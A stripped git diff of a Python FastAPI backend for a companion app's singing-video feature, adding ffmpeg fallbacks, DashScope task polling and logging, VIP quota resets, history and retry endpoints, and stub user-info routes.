SingSongVideo,
SongLibrary,
@ -35,8 +38,48 @@ from ..models import (
from ..response import ApiResponse, success_response
from ..task_queue import sing_task_queue
try:
import imageio_ffmpeg # type: ignore
except Exception: # pragma: no cover
imageio_ffmpeg = None
logger = logging.getLogger("sing")
router = APIRouter(prefix="/sing", tags=["sing"])
def _ffmpeg_bin() -> str:
"""Prefer system ffmpeg; fallback to imageio-ffmpeg bundled binary."""
found = shutil.which("ffmpeg")
if found:
return found
if imageio_ffmpeg is not None:
try:
return imageio_ffmpeg.get_ffmpeg_exe()
except Exception:
pass
return "ffmpeg"
def _ffprobe_bin() -> str:
"""Prefer system ffprobe; fallback to imageio-ffmpeg bundled binary if available."""
found = shutil.which("ffprobe")
if found:
return found
# imageio-ffmpeg only guarantees ffmpeg; most builds include ffprobe alongside.
if imageio_ffmpeg is not None:
try:
ffmpeg_path = imageio_ffmpeg.get_ffmpeg_exe()
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe.exe")
if os.path.exists(candidate):
return candidate
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe")
if os.path.exists(candidate):
return candidate
except Exception:
pass
return "ffprobe"
SING_BASE_MODEL = "wan2.5-i2v-preview"
SING_BASE_RESOLUTION = "480P"
SING_WAN26_MODEL = "wan2.6-i2v-flash"
@ -96,6 +139,29 @@ _sing_last_enqueue_at: dict[int, float] = {}
_emo_task_semaphore = threading.BoundedSemaphore(max(1, settings.EMO_MAX_CONCURRENCY or 1))
def _check_and_reset_vip_video_gen(user_row: User, db: Session) -> None:
"""检查并重置 VIP 用户的视频生成次数"""
if not user_row:
return
# 检查是否是 VIP 用户vip_endtime 是 Unix 时间戳)
current_timestamp = int(datetime.utcnow().timestamp())
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
if not is_vip:
return
# 获取上次重置日期
last_reset = user_row.video_gen_reset_date
today = datetime.utcnow().date()
# 如果是新的一天,重置次数
if not last_reset or last_reset < today:
user_row.video_gen_remaining = 2 # VIP 用户每天 2 次
user_row.video_gen_reset_date = today
db.add(user_row)
db.flush()
@contextmanager
def _semaphore_guard(semaphore: threading.BoundedSemaphore):
semaphore.acquire()
@ -204,16 +270,20 @@ def _resolve_sing_prompts(model: str) -> tuple[str, str]:
def _download_to_path(url: str, target_path: str):
try:
logger.info(f"开始下载文件: {url}")
resp = requests.get(url, stream=True, timeout=30)
except Exception as exc:
logger.error(f"文件下载失败 - URL: {url}, 错误: {exc}")
raise HTTPException(status_code=502, detail="文件下载失败") from exc
if resp.status_code != 200:
logger.error(f"文件下载失败 - URL: {url}, 状态码: {resp.status_code}")
raise HTTPException(status_code=502, detail="文件下载失败")
try:
with open(target_path, "wb") as file_handle:
for chunk in resp.iter_content(chunk_size=1024 * 1024):
if chunk:
file_handle.write(chunk)
logger.info(f"文件下载成功: {url} -> {target_path}")
finally:
resp.close()
@ -302,7 +372,7 @@ def _ensure_emo_detect_cache(
def _probe_media_duration(path: str) -> Optional[float]:
command = [
"ffprobe",
_ffprobe_bin(),
"-v",
"error",
"-show_entries",
@ -332,7 +402,7 @@ def _probe_media_duration(path: str) -> Optional[float]:
def _run_ffmpeg_merge(video_path: str, audio_path: str, output_path: str):
audio_duration = _probe_media_duration(audio_path)
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -382,7 +452,7 @@ def _strip_video_audio(video_bytes: bytes) -> bytes:
with open(input_path, "wb") as file_handle:
file_handle.write(video_bytes)
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -404,7 +474,7 @@ def _strip_video_audio(video_bytes: bytes) -> bytes:
raise HTTPException(status_code=500, detail="ffmpeg 未安装或不可用") from exc
except subprocess.CalledProcessError:
fallback = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -456,7 +526,7 @@ def _extract_audio_segment(
output_path: str,
):
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -496,7 +566,7 @@ def _pad_audio_segment(
if pad_sec <= 0:
return
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -528,7 +598,7 @@ def _pad_audio_segment(
def _trim_video_duration(input_path: str, target_duration_sec: float, output_path: str):
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -552,7 +622,7 @@ def _trim_video_duration(input_path: str, target_duration_sec: float, output_pat
pass
fallback = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -605,7 +675,7 @@ def _concat_video_files(video_paths: list[str], output_path: str):
for path in video_paths:
list_file.write(f"file '{path}'\n")
command = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -626,7 +696,7 @@ def _concat_video_files(video_paths: list[str], output_path: str):
subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except subprocess.CalledProcessError:
fallback = [
"ffmpeg",
_ffmpeg_bin(),
"-y",
"-loglevel",
"error",
@ -744,6 +814,7 @@ def _submit_emo_video(
ext_bbox: list,
style_level: str,
) -> str:
if not settings.DASHSCOPE_API_KEY:
raise HTTPException(status_code=500, detail="未配置 DASHSCOPE_API_KEY")
input_obj = {
@ -762,6 +833,10 @@ def _submit_emo_video(
"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}",
"Content-Type": "application/json",
}
logger.info(f"提交 EMO 视频生成任务model={EMO_MODEL}, style_level={style_level}")
logger.debug(f"请求参数: {input_payload}")
try:
resp = requests.post(
"https://dashscope.aliyuncs.com/api/v1/services/aigc/image2video/video-synthesis",
@ -770,17 +845,24 @@ def _submit_emo_video(
timeout=15,
)
except Exception as exc:
logger.error(f"调用 EMO API 失败: {exc}")
raise HTTPException(status_code=502, detail="调用EMO视频生成失败") from exc
logger.info(f"EMO API 返回状态码: {resp.status_code}")
if resp.status_code != 200:
msg = resp.text
try:
msg = resp.json().get("message") or msg
except Exception:
pass
logger.error(f"EMO 任务提交失败: {msg}")
raise HTTPException(status_code=502, detail=f"EMO视频任务提交失败: {msg}")
try:
data = resp.json()
logger.info(f"EMO API 返回数据: {data}")
except Exception as exc:
logger.error(f"解析 EMO API 响应失败: {exc}")
raise HTTPException(status_code=502, detail="EMO视频任务返回解析失败") from exc
task_id = (
data.get("output", {}).get("task_id")
@ -788,26 +870,77 @@ def _submit_emo_video(
or data.get("output", {}).get("id")
)
if not task_id:
logger.error(f"EMO API 未返回 task_id完整响应: {data}")
raise HTTPException(status_code=502, detail="EMO视频任务未返回 task_id")
logger.info(f"EMO 任务提交成功task_id={task_id}")
return str(task_id)
def _update_task_status_in_db(dashscope_task_id: str, status: str, result_url: Optional[str] = None):
"""实时更新数据库中的任务状态"""
from lover.db import SessionLocal
from lover.models import GenerationTask
try:
with SessionLocal() as db:
# 查找对应的 GenerationTask
task = db.query(GenerationTask).filter(
GenerationTask.payload.like(f'%"dashscope_task_id": "{dashscope_task_id}"%')
).first()
if task:
# 映射状态
status_mapping = {
"PENDING": "pending",
"RUNNING": "running",
"SUCCEEDED": "succeeded",
"FAILED": "failed"
}
task_status = status_mapping.get(status, "pending")
task.status = task_status
if result_url:
task.result_url = result_url
# 更新 payload 中的状态
payload = task.payload or {}
payload["dashscope_status"] = status
payload["last_updated"] = time.time()
task.payload = payload
db.commit()
logger.info(f"📊 任务 {task.id} 状态已更新为: {task_status}")
except Exception as e:
logger.error(f"❌ 更新任务状态失败: {e}")
def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
logger.info(f"⏳ 开始轮询 DashScope 任务: {task_id}")
headers = {"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}"}
query_url = f"https://dashscope.aliyuncs.com/api/v1/tasks/{task_id}"
# 视频任务排队时间可能较长,放宽到指定超时
deadline = time.time() + max(60, timeout_seconds)
attempts = 0
while time.time() < deadline:
time.sleep(3)
attempts += 1
try:
resp = requests.get(query_url, headers=headers, timeout=8)
except Exception:
except Exception as e:
if attempts % 10 == 0:
logger.warning(f"⚠️ 轮询任务 {task_id}{attempts} 次请求失败: {e}")
continue
if resp.status_code != 200:
if attempts % 10 == 0:
logger.warning(f"⚠️ 轮询任务 {task_id}{attempts} 次返回状态码: {resp.status_code}")
continue
try:
data = resp.json()
except Exception:
except Exception as e:
if attempts % 10 == 0:
logger.warning(f"⚠️ 轮询任务 {task_id}{attempts} 次 JSON 解析失败: {e}")
continue
output = data.get("output") or {}
status_str = str(
@ -816,6 +949,13 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
or data.get("status")
or ""
).upper()
# 每 5 次15秒记录一次进度并更新数据库
if attempts % 5 == 0:
logger.info(f"🔄 轮询任务 {task_id}{attempts} 次,状态: {status_str}")
# 实时更新数据库状态
_update_task_status_in_db(task_id, status_str, None)
if status_str == "SUCCEEDED":
results = output.get("results") or {}
url = (
@ -825,14 +965,23 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
or data.get("output", {}).get("video_url")
)
if not url:
logger.error(f"❌ 任务 {task_id} 成功但未返回 URL")
raise HTTPException(status_code=502, detail="视频生成成功但未返回结果 URL")
logger.info(f"✅ 任务 {task_id} 生成成功!")
# 立即更新数据库状态为成功
_update_task_status_in_db(task_id, "SUCCEEDED", url)
return url
if status_str == "FAILED":
code = output.get("code") or data.get("code")
msg = output.get("message") or data.get("message") or "生成失败"
if code:
msg = f"{code}: {msg}"
logger.error(f"❌ 任务 {task_id} 生成失败: {msg}")
# 立即更新数据库状态为失败
_update_task_status_in_db(task_id, "FAILED", None)
raise HTTPException(status_code=502, detail=f"视频生成失败: {msg}")
logger.error(f"⏱️ 任务 {task_id} 轮询超时,共尝试 {attempts}")
raise HTTPException(status_code=504, detail="视频生成超时,请稍后重试")
@ -880,7 +1029,11 @@ def _query_dashscope_task_status(task_id: str) -> tuple[str, Optional[str], Opti
return "UNKNOWN", None, None
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> Optional[SongSegmentVideo]:
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> None:
"""
尝试从 DashScope 获取任务状态并更新数据库
不返回任何对象避免 SQLAlchemy DetachedInstanceError
"""
with SessionLocal() as db:
segment_video = (
db.query(SongSegmentVideo)
@ -888,10 +1041,10 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
.first()
)
if not segment_video or segment_video.status != "running":
return None
return
task_id = dashscope_task_id or segment_video.dashscope_task_id
if not task_id:
return None
return
segment = (
db.query(SongSegment)
.filter(SongSegment.id == segment_video.segment_id)
@ -935,7 +1088,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
segment_video.updated_at = datetime.utcnow()
db.add(segment_video)
db.commit()
return None
return
with SessionLocal() as db:
segment_video = (
@ -951,8 +1104,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
segment_video.updated_at = datetime.utcnow()
db.add(segment_video)
db.commit()
return segment_video
return None
return
if status == "FAILED":
with SessionLocal() as db:
@ -968,10 +1120,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
segment_video.updated_at = datetime.utcnow()
db.add(segment_video)
db.commit()
return segment_video
return None
return None
return
def _wait_for_base_video(base_id: int, timeout: int) -> Optional[SingBaseVideo]:
@ -1014,15 +1163,48 @@ def _wait_for_segment_video(segment_video_id: int, timeout: int) -> Optional[Son
.filter(SongSegmentVideo.id == segment_video_id)
.first()
)
if segment_video and segment_video.status in ("succeeded", "failed"):
return segment_video
dash_task_id = segment_video.dashscope_task_id if segment_video else None
if segment_video:
status = segment_video.status
if status in ("succeeded", "failed"):
# 在会话关闭前获取所有需要的属性
video_url = segment_video.video_url
error_msg = segment_video.error_msg
# 创建一个新对象返回,避免 DetachedInstanceError
result = SongSegmentVideo(
id=segment_video.id,
status=status,
video_url=video_url,
error_msg=error_msg,
)
return result
dash_task_id = segment_video.dashscope_task_id
else:
dash_task_id = None
now = time.time()
if dash_task_id and now - last_backfill_at >= EMO_BACKFILL_MIN_INTERVAL_SECONDS:
updated = _try_backfill_segment_video(segment_video_id, dash_task_id)
# 调用 backfill 后重新查询,不使用返回的对象
_try_backfill_segment_video(segment_video_id, dash_task_id)
last_backfill_at = now
if updated and updated.status in ("succeeded", "failed"):
return updated
# 重新查询状态
with SessionLocal() as db:
segment_video = (
db.query(SongSegmentVideo)
.filter(SongSegmentVideo.id == segment_video_id)
.first()
)
if segment_video:
status = segment_video.status
if status in ("succeeded", "failed"):
video_url = segment_video.video_url
error_msg = segment_video.error_msg
result = SongSegmentVideo(
id=segment_video.id,
status=status,
video_url=video_url,
error_msg=error_msg,
)
return result
time.sleep(3)
return None
@ -1294,9 +1476,9 @@ def _should_enqueue_task(task_id: int) -> bool:
def _enqueue_sing_task(task_id: int):
if not _should_enqueue_task(task_id):
return False
return sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
# 移除入队日志,只在失败时记录
result = sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
return result
def _next_seq(db: Session, session_id: int) -> int:
@ -1435,6 +1617,11 @@ class SingGenerateIn(BaseModel):
song_id: int = Field(..., description="歌曲IDnf_song_library.id")
class SingGenerateFromLibraryIn(BaseModel):
"""从音乐库生成唱歌视频请求"""
music_id: int = Field(..., description="音乐库IDnf_music_library.id")
class SingTaskStatusOut(BaseModel):
generation_task_id: int
status: str = Field(..., description="pending|running|succeeded|failed")
@ -1446,6 +1633,41 @@ class SingTaskStatusOut(BaseModel):
error_msg: Optional[str] = None
@router.get("/current", response_model=ApiResponse[Optional[SingTaskStatusOut]])
def get_current_sing_task(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
):
task = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.task_type == "video",
GenerationTask.status.in_(["pending", "running"]),
GenerationTask.payload["song_id"].as_integer().isnot(None),
)
.order_by(GenerationTask.id.desc())
.first()
)
if not task:
return success_response(None, msg="暂无进行中的任务")
payload = task.payload or {}
return success_response(
SingTaskStatusOut(
generation_task_id=task.id,
status=task.status,
dashscope_task_id=str(payload.get("dashscope_task_id") or ""),
video_url=task.result_url or payload.get("merged_video_url") or "",
session_id=int(payload.get("session_id") or 0),
user_message_id=int(payload.get("user_message_id") or 0),
lover_message_id=int(payload.get("lover_message_id") or 0),
error_msg=task.error_msg,
),
msg="获取成功",
)
@router.get("/songs", response_model=ApiResponse[SongListResponse])
def list_songs_for_lover(
db: Session = Depends(get_db),
@ -1476,6 +1698,196 @@ def list_songs_for_lover(
return success_response(SongListResponse(songs=songs), msg="歌曲列表获取成功")
@router.get("/history", response_model=ApiResponse[List[dict]])
def get_sing_history(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
page: int = 1,
size: int = 20,
):
"""
获取用户的唱歌视频历史记录
"""
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
# 查询已成功生成的视频(优先使用 nf_sing_song_video
offset = (page - 1) * size
videos = (
db.query(SingSongVideo)
.filter(
SingSongVideo.user_id == user.id,
SingSongVideo.lover_id == lover.id,
SingSongVideo.status == "succeeded",
SingSongVideo.merged_video_url.isnot(None),
)
.order_by(SingSongVideo.id.desc())
.offset(offset)
.limit(size)
.all()
)
result: list[dict] = []
seen_urls: set[str] = set()
for video in videos:
# 获取歌曲信息
song = db.query(SongLibrary).filter(SongLibrary.id == video.song_id).first()
song_title = song.title if song else "未知歌曲"
url = _cdnize(video.merged_video_url)
if url:
seen_urls.add(url)
result.append(
{
"id": video.id,
"song_id": video.song_id,
"song_title": song_title,
"video_url": url,
"created_at": video.created_at.isoformat() if video.created_at else None,
}
)
# 兜底:部分情况下任务成功但 nf_sing_song_video 未落库,补查 nf_generation_tasks
if len(result) < size:
remaining = size - len(result)
fallback_tasks = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.lover_id == lover.id,
GenerationTask.task_type == "video",
GenerationTask.status == "succeeded",
GenerationTask.payload["song_id"].as_integer().isnot(None),
GenerationTask.payload["merged_video_url"].as_string().isnot(None),
)
.order_by(GenerationTask.id.desc())
.offset(offset)
.limit(size * 2)
.all()
)
for task in fallback_tasks:
payload = task.payload or {}
song_id = payload.get("song_id")
merged_video_url = payload.get("merged_video_url") or task.result_url
url = _cdnize(merged_video_url) if merged_video_url else ""
if not url or url in seen_urls:
continue
song_title = payload.get("song_title") or "未知歌曲"
if song_id:
song = db.query(SongLibrary).filter(SongLibrary.id == song_id).first()
if song and song.title:
song_title = song.title
result.append(
{
"id": int(task.id),
"song_id": int(song_id) if song_id else 0,
"song_title": song_title,
"video_url": url,
"created_at": task.created_at.isoformat() if task.created_at else None,
}
)
seen_urls.add(url)
remaining -= 1
if remaining <= 0:
break
return success_response(result, msg="获取成功")
@router.post("/retry/{task_id}", response_model=ApiResponse[dict])
def retry_sing_task(
task_id: int,
background_tasks: BackgroundTasks,
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
):
"""手动重试:用于 DashScope 端已成功但本地下载/上传失败导致任务失败的情况。"""
task = (
db.query(GenerationTask)
.filter(
GenerationTask.id == task_id,
GenerationTask.user_id == user.id,
GenerationTask.task_type == "video",
GenerationTask.payload["song_id"].as_integer().isnot(None),
)
.first()
)
if not task:
raise HTTPException(status_code=404, detail="任务不存在")
payload = task.payload or {}
dash_id = payload.get("dashscope_task_id")
if not dash_id:
# 唱歌任务通常不会在 GenerationTask.payload 中保存 dashscope_task_id分段任务各自保存
# 此时改为重新入队处理,尽量复用已成功的分段,完成补下载/补写记录。
task.status = "pending"
task.error_msg = None
task.payload = {**payload, "manual_retry": True}
task.updated_at = datetime.utcnow()
db.add(task)
db.commit()
_enqueue_sing_task(int(task.id))
return success_response({"task_id": int(task.id)}, msg="已触发重新下载")
# 标记手动重试(避免前端重复点击导致并发过多)
task.payload = {**payload, "manual_retry": True}
task.updated_at = datetime.utcnow()
db.add(task)
db.commit()
background_tasks.add_task(_retry_finalize_sing_task, int(task.id))
return success_response({"task_id": int(task.id)}, msg="已触发重新下载")
@router.get("/history/all", response_model=ApiResponse[List[dict]])
def get_sing_history_all(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
page: int = 1,
size: int = 20,
):
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
offset = (page - 1) * size
tasks = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.lover_id == lover.id,
GenerationTask.task_type == "video",
GenerationTask.payload["song_id"].as_integer().isnot(None),
)
.order_by(GenerationTask.id.desc())
.offset(offset)
.limit(size)
.all()
)
result: list[dict] = []
for task in tasks:
payload = task.payload or {}
song_id = payload.get("song_id")
merged_video_url = payload.get("merged_video_url") or task.result_url
result.append(
{
"id": int(task.id),
"song_id": int(song_id) if song_id else 0,
"song_title": payload.get("song_title") or "未知歌曲",
"status": task.status,
"video_url": _cdnize(merged_video_url) or "",
"error_msg": task.error_msg,
"created_at": task.created_at.isoformat() if task.created_at else None,
}
)
return success_response(result, msg="获取成功")
def _get_or_create_session(db: Session, user: AuthedUser, lover: Lover, session_id: Optional[int]) -> ChatSession:
if session_id:
session = (
@ -1522,6 +1934,8 @@ def _process_sing_task(task_id: int):
"""
后台处理唱歌视频生成任务分段音频 -> EMO 逐段生成 -> 拼接整曲
"""
logger.info(f"开始处理唱歌任务 {task_id}")
song_title: str = ""
image_url: str = ""
audio_url: str = ""
@ -1541,6 +1955,7 @@ def _process_sing_task(task_id: int):
audio_hash_hint: Optional[str] = None
duration_sec_hint: Optional[int] = None
try:
logger.info(f"任务 {task_id}: 开始数据库查询")
db = SessionLocal()
task = (
db.query(GenerationTask)
@ -1548,10 +1963,13 @@ def _process_sing_task(task_id: int):
.with_for_update()
.first()
)
logger.info(f"任务 {task_id}: 查询到任务,状态={task.status if task else 'None'}")
if not task or task.status in ("succeeded", "failed"):
logger.warning(f"任务 {task_id}: 任务不存在或已完成/失败,退出处理")
db.rollback()
return
logger.info(f"任务 {task_id}: 开始提取 payload 数据")
user_id = task.user_id
lover_id = task.lover_id
payload = task.payload or {}
@ -1661,12 +2079,14 @@ def _process_sing_task(task_id: int):
pass
try:
logger.info(f"任务 {task_id}: 开始音频分段处理")
segments, audio_hash, duration_sec = _ensure_song_segments(
song_id,
audio_url,
audio_hash_hint,
duration_sec_hint,
)
logger.info(f"任务 {task_id}: 音频分段完成,共 {len(segments)} 段,时长 {duration_sec}")
with SessionLocal() as db:
task_row = (
db.query(GenerationTask)
@ -1706,6 +2126,7 @@ def _process_sing_task(task_id: int):
content_safety_blocked = _is_content_safety_error(cached_merge.error_msg)
if not merged_video_url:
logger.info(f"任务 {task_id}: 开始生成分段视频,共 {len(segments)}")
segment_video_urls: list[tuple[int, str]] = []
content_safety_triggered = False
for segment in segments:
@ -1715,6 +2136,7 @@ def _process_sing_task(task_id: int):
segment_duration_ms = int(segment.get("duration_ms") or 0)
emo_duration_ms = int(segment.get("emo_duration_ms") or segment_duration_ms)
logger.info(f"任务 {task_id}: 处理第 {segment_index + 1}/{len(segments)} 段视频")
existing_running = False
segment_video_id = None
segment_video_url = ""
@ -1803,6 +2225,7 @@ def _process_sing_task(task_id: int):
ext_bbox=ext_bbox or [],
style_level=style_level,
)
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段已提交到 DashScopetask_id={dash_task_id}")
with SessionLocal() as db:
segment_video = (
db.query(SongSegmentVideo)
@ -1819,6 +2242,7 @@ def _process_sing_task(task_id: int):
db.commit()
dash_video_url = _poll_video_url(dash_task_id, EMO_TASK_TIMEOUT_SECONDS)
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段视频生成完成URL={dash_video_url[:100]}...")
video_bytes = _download_binary(dash_video_url)
if emo_duration_ms > segment_duration_ms and segment_duration_ms > 0:
video_bytes = _trim_video_bytes(video_bytes, segment_duration_ms / 1000.0)
@ -2086,15 +2510,17 @@ def _process_sing_task(task_id: int):
db.add(task_row)
db.commit()
except HTTPException as exc:
logger.error(f"任务 {task_id} 处理失败 (HTTPException): {exc.detail if hasattr(exc, 'detail') else str(exc)}")
try:
_mark_task_failed(task_id, str(exc.detail) if hasattr(exc, "detail") else str(exc))
except Exception:
pass
except Exception as e2:
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
except Exception as exc:
logger.exception(f"任务 {task_id} 处理失败 (Exception): {exc}")
try:
_mark_task_failed(task_id, str(exc)[:255])
except Exception:
pass
except Exception as e2:
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
@router.post("/generate", response_model=ApiResponse[SingTaskStatusOut])
@ -2104,6 +2530,9 @@ def generate_sing_video(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
):
logger.info(f"🎤 收到唱歌生成请求: user_id={user.id}, song_id={payload.song_id}")
# 原有代码...
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人不存在,请先完成创建流程")
@ -2132,6 +2561,10 @@ def generate_sing_video(
)
if not user_row:
raise HTTPException(status_code=404, detail="用户不存在")
# 检查并重置 VIP 用户的视频生成次数
_check_and_reset_vip_video_gen(user_row, db)
if (user_row.video_gen_remaining or 0) <= 0:
raise HTTPException(status_code=400, detail="视频生成次数不足")
@ -2407,6 +2840,118 @@ def generate_sing_video(
)
def _ensure_sing_history_record(db: Session, task: GenerationTask) -> None:
"""确保 nf_sing_song_video 中存在该任务对应的成功记录(用于历史列表)。"""
if not task or task.status != "succeeded":
return
payload = task.payload or {}
song_id = payload.get("song_id")
merged_video_url = payload.get("merged_video_url") or task.result_url
if not song_id or not merged_video_url:
return
existing = (
db.query(SingSongVideo)
.filter(
SingSongVideo.generation_task_id == task.id,
SingSongVideo.user_id == task.user_id,
)
.first()
)
if existing and existing.status == "succeeded" and existing.merged_video_url:
return
audio_url = payload.get("audio_url") or ""
audio_hash = payload.get("audio_hash") or ( _hash_text(audio_url) if audio_url else "" )
image_hash = payload.get("image_hash") or ""
ratio = payload.get("ratio") or EMO_RATIO
style_level = payload.get("style_level") or EMO_STYLE_LEVEL
if not existing:
existing = SingSongVideo(
user_id=task.user_id,
lover_id=task.lover_id or 0,
song_id=int(song_id),
audio_url=audio_url or "",
audio_hash=(audio_hash or "")[:64],
image_hash=(image_hash or "")[:64] if image_hash else None,
ratio=ratio,
style_level=style_level,
merged_video_url=merged_video_url,
status="succeeded",
error_msg=None,
generation_task_id=task.id,
created_at=task.created_at or datetime.utcnow(),
updated_at=datetime.utcnow(),
)
else:
existing.song_id = int(song_id)
existing.merged_video_url = merged_video_url
existing.status = "succeeded"
existing.error_msg = None
existing.updated_at = datetime.utcnow()
existing.generation_task_id = task.id
if task.lover_id:
existing.lover_id = task.lover_id
if audio_url:
existing.audio_url = audio_url
if audio_hash:
existing.audio_hash = (audio_hash or "")[:64]
if image_hash:
existing.image_hash = (image_hash or "")[:64]
existing.ratio = ratio
existing.style_level = style_level
db.add(existing)
def _retry_finalize_sing_task(task_id: int) -> None:
"""任务失败但 DashScope 端已成功时,尝试重新下载视频并落库(自愈)。"""
try:
with SessionLocal() as db:
task = (
db.query(GenerationTask)
.filter(GenerationTask.id == task_id)
.with_for_update()
.first()
)
if not task:
return
payload = task.payload or {}
dash_id = payload.get("dashscope_task_id")
if not dash_id:
return
status, dash_video_url, error_msg = _query_dashscope_task_status(dash_id)
if status != "SUCCEEDED" or not dash_video_url:
return
video_bytes = _download_binary(dash_video_url)
object_name = (
f"lover/{task.lover_id}/sing/"
f"{int(time.time())}_{payload.get('song_id') or 'unknown'}.mp4"
)
merged_video_url = _upload_to_oss(video_bytes, object_name)
task.status = "succeeded"
task.result_url = merged_video_url
task.error_msg = None
task.payload = {
**payload,
"merged_video_url": merged_video_url,
"retry_finalized": True,
"dashscope_error": error_msg,
}
task.updated_at = datetime.utcnow()
db.add(task)
_ensure_sing_history_record(db, task)
db.commit()
except Exception:
return
@router.get("/generate/{task_id}", response_model=ApiResponse[SingTaskStatusOut])
def get_sing_task(
task_id: int,
@ -2441,11 +2986,7 @@ def get_sing_task(
merge_id = payload.get("merge_id")
if merge_id:
with SessionLocal() as tmp:
merge = (
tmp.query(SingSongVideo)
.filter(SingSongVideo.id == merge_id)
.first()
)
merge = tmp.query(SingSongVideo).filter(SingSongVideo.id == merge_id).first()
if merge and merge.status == "succeeded" and merge.merged_video_url:
current = (
tmp.query(GenerationTask)
@ -2465,7 +3006,6 @@ def get_sing_task(
"content_safety_blocked": content_safety_blocked,
}
current.updated_at = datetime.utcnow()
# 更新聊天占位消息与扣减(若未扣)
try:
lover_msg_id = (current.payload or {}).get("lover_message_id")
session_id = (current.payload or {}).get("session_id")
@ -2517,8 +3057,21 @@ def get_sing_task(
tmp.commit()
task = current
resp_msg = status_msg_map.get(task.status or "", resp_msg)
# 自愈:成功任务但历史缺记录,补写 nf_sing_song_video
if task.status == "succeeded":
try:
_ensure_sing_history_record(db, task)
db.commit()
except Exception:
db.rollback()
# 自愈:失败任务但 DashScope 可能已成功(下载/上传失败导致),后台重试一次
if task.status == "failed":
payload = task.payload or {}
if payload.get("dashscope_task_id") and not payload.get("retry_finalized"):
background_tasks.add_task(_retry_finalize_sing_task, int(task.id))
resp_msg = status_msg_map.get(task.status or "", resp_msg)
payload = task.payload or {}
return success_response(
SingTaskStatusOut(
@ -2533,3 +3086,4 @@ def get_sing_task(
),
msg=resp_msg,
)

32
lover/routers/user.py Normal file
View File

@ -0,0 +1,32 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/user/info")
def get_user_info(user: AuthedUser = Depends(get_current_user)):
"""获取用户信息"""
return success_response({
"id": user.id,
"nickname": user.nickname,
"reg_step": user.reg_step,
"gender": user.gender
})
@router.post("/user/logout")
def logout(user: AuthedUser = Depends(get_current_user)):
"""用户登出"""
return success_response({"message": "登出成功"})
@router.get("/user/profile")
def get_user_profile(user: AuthedUser = Depends(get_current_user)):
"""获取用户资料"""
return success_response({
"id": user.id,
"nickname": user.nickname,
"avatar": "",
"gender": user.gender,
"city": "",
"hobbies": []
})

View File

@ -0,0 +1,31 @@
from fastapi import APIRouter, Depends, HTTPException
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/api/user_basic/get_user_basic")
def get_user_basic(user: AuthedUser = Depends(get_current_user)):
"""给 FastAdmin 调用的用户信息接口(兼容原 PHP 接口格式)"""
return {
"code": 1,
"msg": "success",
"data": {
"id": user.id,
"nickname": user.nickname,
"reg_step": user.reg_step,
"gender": user.gender,
}
}
@router.get("/api/user_basic/get_hobbies")
def get_hobbies(user: AuthedUser = Depends(get_current_user)):
"""获取用户兴趣爱好"""
return success_response([
{"id": 1, "name": "游戏", "selected": True},
{"id": 2, "name": "骑行", "selected": True},
{"id": 3, "name": "读书", "selected": True},
{"id": 4, "name": "音乐", "selected": False},
{"id": 5, "name": "运动", "selected": False},
{"id": 6, "name": "旅行", "selected": False}
])

View File

@ -7,15 +7,15 @@ from typing import List, Optional
import requests
import dashscope
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
from fastapi import APIRouter, Depends, HTTPException, WebSocket, WebSocketDisconnect, status
from fastapi.websockets import WebSocketState
from ..config import settings
from ..deps import AuthedUser, _fetch_user_from_php
from ..deps import AuthedUser, get_current_user, _fetch_user_from_php
from ..llm import chat_completion_stream
from ..tts import synthesize
from ..db import SessionLocal
